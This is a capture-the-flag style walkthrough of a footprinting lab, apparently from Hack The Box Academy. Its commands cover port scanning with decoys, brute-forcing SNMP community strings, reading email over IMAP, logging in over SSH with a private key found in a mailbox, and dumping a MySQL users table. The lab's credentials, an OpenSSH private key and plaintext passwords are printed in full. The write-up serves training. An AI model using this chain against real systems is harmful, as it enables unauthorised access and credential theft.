Footprinting Lab - Hard

The third server is an MX and management server for the internal network. Subsequently, this server has the function of a backup server for the internal accounts in the domain. Accordingly, a user named HTB was also created here, whose credentials we need to access.

Enumerate the server carefully and find the username "HTB" and its password. Then, submit HTB's password as the answer.

Again, scan TCP and UDP ports with -D -->

nmap -p- --open -sS 10.129.202.20 -Pn -n --min-rate 1000 -D 5
PORT    STATE SERVICE
22/tcp  open  ssh
110/tcp open  pop3
143/tcp open  imap
993/tcp open  imaps
995/tcp open  pop3s

nmap --top-port 1000 --open -sU 10.129.202.20 -Pn -n --min-rate 1000 -D 5
PORT    STATE SERVICE
161/udp open  snmp

Now, scan his versions with -sCV -->

TCP

nmap -p 22,110,143,993,995 -sS -sCV 10.129.202.20 -Pn -n --min-rate 1000 -D 5
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3f:4c:8f:10:f1:ae:be:cd:31:24:7c:a1:4e:ab:84:6d (RSA)
|   256 7b:30:37:67:50:b9:ad:91:c0:8f:f7:02:78:3b:7c:02 (ECDSA)
|_  256 88:9e:0e:07:fe:ca:d0:5c:60:ab:cf:10:99:cd:6c:a7 (ED25519)
110/tcp open  pop3     Dovecot pop3d
| ssl-cert: Subject: commonName=NIXHARD
| Subject Alternative Name: DNS:NIXHARD
| Not valid before: 2021-11-10T01:30:25
|_Not valid after:  2031-11-08T01:30:25
|_pop3-capabilities: USER CAPA UIDL RESP-CODES SASL(PLAIN) AUTH-RESP-CODE STLS PIPELINING TOP
143/tcp open  imap     Dovecot imapd (Ubuntu)
|_imap-capabilities: more AUTH=PLAINA0001 LITERAL+ OK STARTTLS have ID LOGIN-REFERRALS IDLE IMAP4rev1 SASL-IR listed Pre-login post-login ENABLE capabilities
| ssl-cert: Subject: commonName=NIXHARD
| Subject Alternative Name: DNS:NIXHARD
| Not valid before: 2021-11-10T01:30:25
|_Not valid after:  2031-11-08T01:30:25
|_ssl-date: TLS randomness does not represent time
993/tcp open  ssl/imap Dovecot imapd (Ubuntu)
|_imap-capabilities: AUTH=PLAINA0001 LITERAL+ OK have more ID LOGIN-REFERRALS IDLE IMAP4rev1 SASL-IR listed Pre-login post-login ENABLE capabilities
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=NIXHARD
| Subject Alternative Name: DNS:NIXHARD
| Not valid before: 2021-11-10T01:30:25
|_Not valid after:  2031-11-08T01:30:25
995/tcp open  ssl/pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: USER SASL(PLAIN) AUTH-RESP-CODE UIDL CAPA TOP PIPELINING RESP-CODES
| ssl-cert: Subject: commonName=NIXHARD
| Subject Alternative Name: DNS:NIXHARD
| Not valid before: 2021-11-10T01:30:25
|_Not valid after:  2031-11-08T01:30:25
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

UDP

nmap -p 161 -sU -sCV 10.129.202.20 -Pn -n --min-rate 1000 -D 5
PORT    STATE SERVICE VERSION
161/udp open  snmp    net-snmp; net-snmp SNMPv3 server
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: 5b99e75a10288b6100000000
|   snmpEngineBoots: 10
|_  snmpEngineTime: 4m45s

So... we can see the SNMP 161 UDP open... try to bruteforce community strings -->

onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt 10.129.202.20

Scanning 1 hosts, 3219 communities
10.129.202.20 [backup] Linux NIXHARD 5.4.0-90-generic #101-Ubuntu SMP Fri Oct 15 20:00:55 UTC 2021 x86_64

backup exist! So... now analyze it -->

snmpwalk -v2c -c backup 10.129.202.20

-v2c : Is the version, maybe in other labs exist v3 o simple v (v1)

Nice, we know exists the admin (tech) user into this company, now continue...

YOOO... WTF, try to login via SSH with this credentials -->

tom:NMds732Js2761

We cant... so... try to continue with the enumeration about IMAP/POP3 for example with its credentials:

curl -k 'imaps://10.129.202.20' --user tom:NMds732Js2761
* LIST (\HasNoChildren) "." Notes
* LIST (\HasNoChildren) "." Meetings
* LIST (\HasNoChildren \UnMarked) "." Important
* LIST (\HasNoChildren) "." INBOX

They return his mailboxes, now connect -->

openssl s_client -connect 10.129.202.20:imaps

read R BLOCK
* OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE LITERAL+ AUTH=PLAIN] Dovecot (Ubuntu) ready.

1 LOGIN tom NMds732Js2761 # To login
## 1 OK [CAPABILITY IMAP4rev1 SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS BINARY MOVE SNIPPET=FUZZY PREVIEW=FUZZY LITERAL+ NOTIFY SPECIAL-USE] Logged in
1 LIST "" * # To see the shares
## * LIST (\HasNoChildren) "." Notes
## * LIST (\HasNoChildren) "." Meetings
## * LIST (\HasNoChildren \UnMarked) "." Important
## * LIST (\HasNoChildren) "." INBOX
## 1 OK List completed (0.001 + 0.000 secs).
1 SELECT INBOX # To select "INBOX" share
##* FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
## * OK [PERMANENTFLAGS (\Answered \Flagged \Deleted \Seen \Draft \*)] Flags permitted.
## * 1 EXISTS
## * 0 RECENT
## * OK [UIDVALIDITY 1636509064] UIDs valid
## * OK [UIDNEXT 2] Predicted next UID
## 1 OK [READ-WRITE] Select completed (0.025 + 0.000 + 0.024 secs).
1 FETCH 1 all # Retrieve the entire message
## * 1 FETCH (FLAGS (\Seen) INTERNALDATE "10-Nov-2021 01:44:26 +0000" RFC822.SIZE 3661 ENVELOPE ("Wed, 10 Nov 2010 14:21:26 +0200" "KEY" ((NIL NIL "MISSING_MAILBOX" "MISSING_DOMAIN")) ((NIL NIL "MISSING_MAILBOX" "MISSING_DOMAIN")) ((NIL NIL "MISSING_MAILBOX" "MISSING_DOMAIN")) ((NIL NIL "tom" "inlanefreight.htb")) NIL NIL NIL NIL))
## 1 OK Fetch completed (0.012 + 0.000 + 0.011 secs).
1 FETCH 1 BODY[] # Get the message content
    * 1 FETCH (BODY[] {3661}
    HELO dev.inlanefreight.htb
    MAIL FROM:<tech@dev.inlanefreight.htb>
    RCPT TO:<bob@inlanefreight.htb>
    DATA
    From: [Admin] <tech@inlanefreight.htb>
To: <tom@inlanefreight.htb>
Date: Wed, 10 Nov 2010 14:21:26 +0200
Subject: KEY

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
)
1 OK Fetch completed (0.001 + 0.000 secs).

NICE! We can see they sends cleartext once private key with the subject: KEY, try to save it and login via SSH as tom user -->

Set: chmod 600 id_rsa

ssh -i id_rsa tom@10.129.202.20

So... I sense that sql server is work

ps aux | egrep 'mysqld|mysql|mariadbd' --color

Its true!, Now connect -->

mysql -u tom -p

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| users              |
+--------------------+

mysql> show tables;
+-----------------+
| Tables_in_users |
+-----------------+
| users           |
+-----------------+

mysql> select * from users;
+------+-------------------+------------------------------+
| id   | username          | password                     |
+------+-------------------+------------------------------+
|    1 | ppavlata0         | 6znAfvTbB2                   |
|    2 | ktofanini1        | TP2NxFD62e                   |
|    3 | rallwell2         | t1t7WaqvEfv                  |
|    4 | efernier3         | ZRYOBO9PI                    |
|    5 | fpoon4            | 5Spyx2Jb                     |
|    6 | jgurnell5         | LMCnWKD                      |
|    7 | aminter6          | ngCyGg3                      |
|    8 | dwattinham7       | H2bpGC5                      |
|    9 | ddumphreys8       | eGek5Q8                      |
...

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